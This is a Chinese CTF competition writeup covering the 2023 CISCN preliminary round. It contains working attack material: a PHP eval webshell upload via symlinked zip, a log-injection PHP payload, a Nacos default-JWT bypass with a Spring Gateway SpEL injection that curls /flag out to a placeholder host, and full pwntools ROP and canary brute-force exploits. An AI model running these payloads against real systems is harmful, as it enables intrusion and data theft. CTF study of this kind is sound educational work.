首页 > 其他分享 >第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec

时间:2023-06-19 22:02:05浏览次数:53  
标签:uint64 val Writeup AheadSec 初赛 let pop new stack


第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring


文章目录

  • Web
  • unzip
  • dumpit
  • BackendService
  • Pwn
  • 烧烤摊儿
  • funcanary
  • shell web go
  • Reverse
  • ezbyte
  • babyre
  • Crypto
  • 基于国密SM2算法的密钥密文分发
  • 可信度量
  • Sign_in_passwd
  • Misc
  • 签到卡
  • 被生产加密的流量
  • 国粹
  • pyshell


Web

unzip

ln -s /var/www/html/ webshell
zip -ry webshell.zip webshell
curl url/upload.php -F"[email protected]"
mkdir 123
cd 123
mkdir webshell
echo '<?php @eval($_POST[1]);?>' > webshell/1.php
zip -ry webshell.zip webshell
curl url/upload.php -F"[email protected]"

curl url/1.php -d "1=system('cat /flag');"

dumpit

这个dump调用了系统命令的mysqldump,这个db参数又可控,直接写报错信息到指定位置搜索flag

/?db=\<\?\=phpinfo\(\)?\> 2> log/p.php&table_2_dump=

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_02

BackendService

Nacos结合Spring Cloud Gateway RCE

参考https://xz.aliyun.com/t/11493 首先登录平台利用nacos的默认JWT key bypass平台的认证

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_03


nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

生成jwt

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_04


得到payload

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ0ZXN0IiwiZXhwIjoxNjc1MDgzODc3fQ.RIPoLpY9y_gf1VL8Cv_UxrYuVXjXItbD61DX2nZBsOo","tokenTtl": 18000,"globalAdmin": true,"username":"test"}

然后就是利用test进行登录

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_05


抓取返回包,改返回包状态码跟body,状态码改200,body改成上面的payload

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_06


放行就能登录,然后就是里面的RCE

先查看他的bootstrap.yml文件

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_07


里面有他支持的格式内容用到的name是backcfg、文件的类型是json

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_08


这个文件拿来改成json格式,然后在服务器上监听

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://xxx.xxx.xx.xxx:9999','-F','file=@/flag'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

配置列表那边新增配置 Data ID为backcfg

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_09


然后发布,监听就能收到flag

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_10

Pwn

烧烤摊儿

先去功能1 把啤酒购买数量变负数 在扣钱的时候 等于是在加钱
金额满足了 先进入功能4 满足功能5条件
可以进入功能5 打溢出 + ropchain

from pwn import * 

io = remote("123.56.238.150", 24576)
# io = process("./shaokao")

# 先去功能1 把啤酒购买数量变负数    在扣钱的时候 等于是在加钱
io.sendlineafter(b'> ', b'1')
io.sendline(b'1')
io.sendline(b'-10000')

# 金额满足了 先进入功能4 满足功能5条件
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'> ', b'5')#可以进入功能5 打溢出 + ropchain


# ropgadget --binary 文件路径 --ropchain
p = b''
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

payload = cyclic(0x20+8) + p
io.sendline( payload)

io.interactive()

funcanary

  1. 有后门函数 0x1231可以执行 system(“/bin/cat flag”)
  2. 开启了canary防溢出保护

核心思路是 爆破canary 然后劫持返回地址 跳转执行后门函数

from pwn import *

io = remote("123.56.236.235", 20899)
# io = process("./funcanary")

# 爆破canary 逐个字节爆破
canary = b'\x00'
for i in range(7):
    for i in range(256):
        io.sendafter("welcome\n",cyclic(0x68) + canary + p8(i))
        recv = io.recvline()
        if b"smashing" not in recv:
            canary += p8(i)
            break

# 低4位覆盖返回地址为后门函数:0x1231 开了pie  要把0x?231中的?爆破出来
for i in range(0x10):
    retaddr = 0x0231 + i*0x1000
    io.sendafter("welcome\n",cyclic(0x68)+canary+cyclic(8)+ p16(retaddr))
    recv = io.recvline()
    if b'flag' in recv:
        log.info("flag找到")
        break
io.interactive()

shell web go

ida 8.2 打开go写的elf文件

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_11


将我们得输入进行加密

然后可以看到

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_12


然后直接就是 先rc4加密 然后base64加密 这个时候我们就要获取我们加密得密文 直接 先base64解密 然后黑盒解出rc4解密 或者拿出密钥 然后直接内置解密就好

decry exp

import base64
from Crypto.Cipher import ARC4

b64_data = 'JLIX8pbSvYZu/WaG'

b64_Cipher_data = base64.b64decode(b64_data)

print(bytearray(b64_Cipher_data))

key = b'F1nallB1rd3K3y'

enc = ARC4.new(key)

res = enc.decrypt(b64_Cipher_data)

print(res)

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_13


然后程序会进入equal

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_14


这个函数存在溢出 然后就是普通的溢出打法

pwn sh

from pwn import *
import base64

# io = process("./pwn")
io = remote("123.56.135.185",29444)

key = "S33UAga1n@#!"

io.recvuntil("ciscnshell$ ")
io.sendline("cert nAcDsMicN " + key)

pop_rdi_ret_addr = 0x444fec
pop_rsi_ret_addr = 0x41e818
pop_rdx_ret_addr = 0x49e11d
pop_rax_ret_addr = 0x40d9e6
syscall = 0x40328c

pd = b"echo " + b"b" * 0x100 + b" " + b"b" * (0x123 - 0x20) + b"+" * (0x20)
pd += p64(pop_rdi_ret_addr) + p64(0)+ p64(pop_rsi_ret_addr) + p64(0xc000000000)+ p64(pop_rdx_ret_addr) + p64(8)+ p64(pop_rax_ret_addr) + p64(0)+ p64(syscall)+ p64(pop_rdi_ret_addr) + p64(0xc000000000)+ p64(pop_rsi_ret_addr) + p64(0)+ p64(pop_rdx_ret_addr) + p64(0)+ p64(pop_rax_ret_addr) + p64(0x3b)+ p64(syscall)

io.recvuntil("nightingale# ")
io.sendline(pd)

io.send("/bin/sh\x00")
io.interactive()

Reverse

ezbyte

静态分析,发现有input的调用,可以看出 输入的是一个 42位的字符串,但是除了这个函数就没有找到其他的函数对input进行判断了,开始动调

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_15

动态调试,看到,下面有一个 yes,猜测应该是正确后的输出,但是这里没有展示出来,并且想要进入到这个函数还有判断 r12等于0(因为 r13 通过异或变成了0)

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_16


参考: https://bbs.kanxue.com/thread-271891.htm#msg_header_h2_1 发现是 DWARF Expression

参考: http://43.138.162.163:8090/archives/2022-dsctfchu-sai-nothing-writeup

写出对应的脚本

通过rust脚本将其还原成 c代码

use std::{collections::HashMap, fs, fmt::Display, io::Write};
use std::process::Command;

use gimli::UnwindSection;
use object::{Object, ObjectSection};

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let mut arg = std::env::args();
    if arg.len() != 2 {
        panic!("Argument Error!")
    }
    let bin_data = fs::read(arg.nth(1).unwrap())?;
    let obj_file = object::File::parse(&*bin_data)?;
    let data = obj_file.section_by_name(".eh_frame").unwrap();
    let eh_frame = gimli::read::EhFrame::new(data.data()?, gimli::LittleEndian);
    let bases = gimli::BaseAddresses::default().set_eh_frame(data.address());
    let mut entries = eh_frame.entries(&bases);

    let mut file = fs::OpenOptions::new().append(false).truncate(true).write(true).create(true).open("./output.c")?;
    writeln!(file, "#include <stdint.h>")?;

    let mut cies = HashMap::new();
    while let Some(entry) = entries.next()? {
        if let gimli::CieOrFde::Fde(partial) = entry {
            let fde = partial.parse(|_, bases, o| {
                cies.entry(o)
                    .or_insert_with(|| eh_frame.cie_from_offset(bases, o))
                    .clone()
            })?;
            if fde.entry_len() < 100 {
                continue;
            }
            let mut instructions = fde.instructions(&eh_frame, &bases);
            use gimli::CallFrameInstruction::*;
            loop {
                match instructions.next() {
                    Err(e) => {
                        println!("Failed to decode CFI instruction: {}", e);
                        break;
                    }
                    Ok(Some(ValExpression {
                                register,
                                expression,
                            })) => {
                        println!(
                            "DW_CFA_val_expression ({}, ...)",
                            gimli::X86_64::register_name(register).unwrap_or("{unknown}")
                        );
                        display_val_expression(register, expression, &mut file)?;
                    }
                    Ok(None) => {
                        break;
                    }
                    _ => {}
                }
            }
        }
    }
    file.flush()?;

    Command::new("gcc")
        .arg("-O3")
        .arg("./output.c")
        .arg("-c")
        .spawn()?;

    Ok(())
}

#[derive(Clone, Copy)]
struct Val {
    id: u64,
}

impl Val {
    fn new(id: u64) -> Self {
        Val { id }
    }
}

struct ValGenerator {
    id: u64,
}

impl ValGenerator {
    fn new() -> Self {
        Self { id: 0 }
    }
    fn next(&mut self) -> Val {
        self.id += 1;
        Val::new(self.id - 1)
    }
}

impl Display for Val {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        write!(f, "v{}", self.id)
    }
}

fn display_val_expression<R>(target_reg: gimli::Register, exp: gimli::Expression<R>, w: &mut dyn Write) -> Result<(), Box<dyn std::error::Error>>
    where
        R: gimli::Reader,
{
    let mut val_generator = ValGenerator::new();
    let mut ops = exp.operations(gimli::Encoding { address_size: 8, format: gimli::Format::Dwarf64, version: 5 });
    let mut stack: Vec<Val> = Vec::new();
    writeln!(w, "uint64_t cal_{}(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){{", gimli::X86_64::register_name(target_reg).unwrap())?;
    writeln!(w, "    uint64_t rax=0,rbx=0;")?;
    loop {
        if let Ok(Some(op)) = ops.next() {
            match op {
                gimli::Operation::Drop => {
                    stack.pop();
                }
                gimli::Operation::Pick { index } => {
                    let val1 = stack.get(stack.len() - 1 - index as usize).unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={};", new_val, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Swap => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    stack.push(val1);
                    stack.push(val2);
                }
                gimli::Operation::Rot => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let val3 = stack.pop().unwrap();
                    stack.push(val1);
                    stack.push(val3);
                    stack.push(val2);
                }
                gimli::Operation::And => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}&{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Minus => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}-{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Neg => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}=-{};", val, val)?;
                }
                gimli::Operation::Not => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}=~{};", val, val)?;
                }
                gimli::Operation::Or => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}|{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Plus => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}+{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::PlusConstant { value } => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}+={}ull;", val, value)?;
                }
                gimli::Operation::Shl => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<<{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Shr => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>>{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Shra => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=(uint64_t)((int64_t){}>>(int64_t){});", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Xor => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}^{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Eq => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}= {}=={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Ge => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Gt => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>{}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Le => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Lt => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<{}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Ne => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}!={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::UnsignedConstant { value } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}ull;", new_val, value)?;
                    stack.push(new_val);
                }
                gimli::Operation::SignedConstant { value } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=(uint64_t){}ll;", new_val, value)?;
                    stack.push(new_val);
                }
                gimli::Operation::Register { register } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={};", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"))?;
                    stack.push(new_val);
                }
                gimli::Operation::RegisterOffset { register, offset , .. } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=({}+{}ull);", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"), offset)?;
                    stack.push(new_val);
                }
                _ => todo!("{:?}", op)
            }
        } else {
            break;
        }
    }
    assert_eq!(stack.len(), 1);
    writeln!(w, "    return {};", stack.pop().unwrap())?;
    writeln!(w, "}}\n")?;
    Ok(())
}

得到转换后的c代码

#include <stdint.h>


uint64_t cal_r12(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){
	uint64_t rax=0,rbx=0;
	uint64_t v0=2616514329260088143ull;
	uint64_t v1=1237891274917891239ull;
	uint64_t v2=1892739ull;
	uint64_t v3=(r12+0ull);
	uint64_t v4=v2+v3;
	uint64_t v5=v1^v4;
	uint64_t v6=v0^v5;
	uint64_t v7=8502251781212277489ull;
	uint64_t v8=1209847170981118947ull;
	uint64_t v9=8971237ull;
	uint64_t v10=(r13+0ull);
	uint64_t v11=v9+v10;
	uint64_t v12=v8^v11;
	uint64_t v13=v7^v12;
	uint64_t v14=v6|v13;
	uint64_t v15=2451795628338718684ull;
	uint64_t v16=1098791727398412397ull;
	uint64_t v17=1512312ull;
	uint64_t v18=(r14+0ull);
	uint64_t v19=v17+v18;
	uint64_t v20=v16^v19;
	uint64_t v21=v15^v20;
	uint64_t v22=v14|v21;
	uint64_t v23=8722213363631027234ull;
	uint64_t v24=1890878197237214971ull;
	uint64_t v25=9123704ull;
	uint64_t v26=(r15+0ull);
	uint64_t v27=v25+v26;
	uint64_t v28=v24^v27;
	uint64_t v29=v23^v28;
	uint64_t v30=v22|v29;
	return v30;
}

得到的c代码有点丑,直接编译,查看反编译后的代码

uint64_t __cdecl cal_r12(uint64_t r12_0, uint64_t r13_0, uint64_t r14_0, uint64_t r15_0)
{
  return (r15_0 + 9123704) ^ 0x6336396431BE9AD9i64 | (r14_0 + 1512312) ^ 0x2D393663614447B1i64 | (r13_0 + 8971237) ^ 0x65342D6530C04912i64 | (r12_0 + 1892739) ^ 0x35626665394D17E8i64;
}

直接写exp

# 根据之前函数得到开头flag{ 和结尾 3861}
r15_0 = 0x6336396431BE9AD9 - 9123704
r14_0 = 0x2D393663614447B1 - 1512312
r13_0 = 0x65342D6530C04912 - 8971237
r12_0 = 0x35626665394D17E8 - 1892739

flag = 'flag{'
flag += bytes.fromhex(hex(r12_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r13_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r14_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r15_0).replace('0x', '')).decode()[::-1]
flag += '3861}'
print(flag)

babyre

打开xml文件,发现是 snap

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_17


进入app标签中对应网址

点击Run Snap

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_18

导入解压出的xml文件

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_19


点击lock可以看到加密算法

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_20


将对应的变量展示出来

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_21


点击左边这个模块,开始运行,拿到密文

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_22


exp

enc = [102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 
    28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]

flag = ''
for i in range(1, len(enc)):
    enc[i] ^= enc[i-1]

for i in range(len(enc)):
    flag += chr(enc[i])

print(flag)
# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

Crypto

基于国密SM2算法的密钥密文分发

curl http://39.105.187.49:15721/api/login --data-urlencode "name=卢同学&school=XXXX大学"

请求ID

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_23


https://const.net.cn/tool/sm2/genkey/ 生成SM2公钥

curl http://39.105.187.49:15721/api/allkey  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&publickey=EAE3EEF52E2696299C112F406D8F939D37CE77D69D0119E350CB72F1AD8C4FF02DADB9540BE6AA694CF5E98910C4CFE0DFFD676CC7798CBD7349048098EDB923"

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_24

curl http://39.105.187.49:15721/api/quantum  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&publickey=EAE3EEF52E2696299C112F406D8F939D37CE77D69D0119E350CB72F1AD8C4FF02DADB9540BE6AA694CF5E98910C4CFE0DFFD676CC7798CBD7349048098EDB923"

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_25

curl http://39.105.187.49:15721/api/search  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8"

拿到quantumString

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_26


然后在请求

curl http://39.105.187.49:15721/api/check  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&quantumString=a13fbc06c2e802ef99ef2a14bf4bab79"

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_27


然后再次请求

/api/search

curl http://39.105.187.49:15721/api/search  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8"

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_28


得到flag

flag{c1e1b81b-3fe2-46b1-b316-743376e251c4}

可信度量

非预期,直接从根目录检索flag{关键字

grep -ra "flag{" /

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_29

Sign_in_passwd

base64换表

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_30

Misc

签到卡

根据公众号提示,直接输入print(open("/flag").read())

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_31

被生产加密的流量

modbus前几个请求包的modbus.word_cnt字段带有部分base32,提取出来:MMYWMX3GNEYWOXZRGAYDA=

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_32


第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_33

flag{c1f_fi1g_1000}

国粹

a.pngk.png的长度是一样的,总共341张牌,牌的类型根据题目.png总共有42种,而题目.png有两层,猜测第一层为Y轴,第二层为X

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_34


然后以a.pngk.png为坐标画图,总共341个坐标

先将所有牌按照题目.png排序编号

一萬 1   二萬 2   三萬 3   四萬 4   五萬 5
六萬 6   七萬 7   八萬 8   九萬 9   一饼 10
二饼 11  三饼 12  四饼 13  五饼 14  六饼 15
七饼 16  八饼 17  九饼 18  幺鸡 19  二条 20
三条 21  四条 22  五条 23  六条 24  七条 25
八条 26  九条 27  東   28  南   29  西   30
北   31  中   32  發   33  白板 34  春   35
夏   36  秋   37  冬   38  梅   39  蘭   40
竹   41  菊   42

然后提取坐标数据,这里纯手工提取的(当时没有找到比较好的方法处理)

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_35

(1,4) (1,5) (1,10) (1,30) (2,3) (2,4) (2,5) (2,6) (2,10) (2,29) (2,30) (3,3) (3,4) (3,10) (3,16) (3,17) (3,22) (3,23) (3,24) (3,25) (3,29) (3,30) (4,2) (4,3) (4,4) (4,5) (4,10) (4,15) (4,16) (4,18) (4,21) (4,22) (4,24) (4,25) (4,29) (4,30) (5,3) (5,4) (5,10) (5,15) (5,17) (5,18) (5,19) (5,21) (5,22) (5,24) (5,28) (5,29) (6,3) (6,4) (6,10) (6,15) (6,16) (6,18) (6,19) (6,21) (6,22) (6,24) (6,29) (7,3) (7,4) (7,10) (7,11) (7,12) (7,13) (7,15) (7,18) (7,19) (7,22) (7,23) (7,24) (7,25) (7,29) (7,30) (8,3) (8,4) (8,11) (8,12) (8,15) (8,16) (8,17) (8,18) (8,19) (8,20) (8,25) (8,29) (8,30) (9,21) (9,22) (9,24) (9,25) (9,30) (9,31) (10,23) (10,24) (12,22) (12,23) (12,24) (12,25) (13,2) (13,3) (13,4) (13,5) (13,9) (13,10) (13,11) (13,12) (13,16) (13,17) (13,18) (13,19) (13,24) (13,25) (14,2) (14,5) (14,6) (14,9) (14,12) (14,19) (14,23) (14,24) (15,5) (15,9) (15,12) (15,18) (15,19) (15,22) (15,23) (16,4) (16,5) (16,9) (16,12) (16,17) (16,18) (16,23) (16,24) (17,3) (17,4) (17,9) (17,12) (17,16) (17,17) (17,24) (17,25) (18,3) (18,9) (18,12) (18,16) (18,25) (19,3) (19,4) (19,5) (19,6) (19,9) (19,10) (19,11) (19,12) (19,16) (19,17) (19,18) (19,19) (19,21) (19,22) (19,23) (19,24) (19,25) (20,10) (20,11) (22,3) (22,4) (22,5) (22,6) (22,10) (22,11) (22,12) (22,17) (22,18) (22,19) (22,24) (22,25) (23,3) 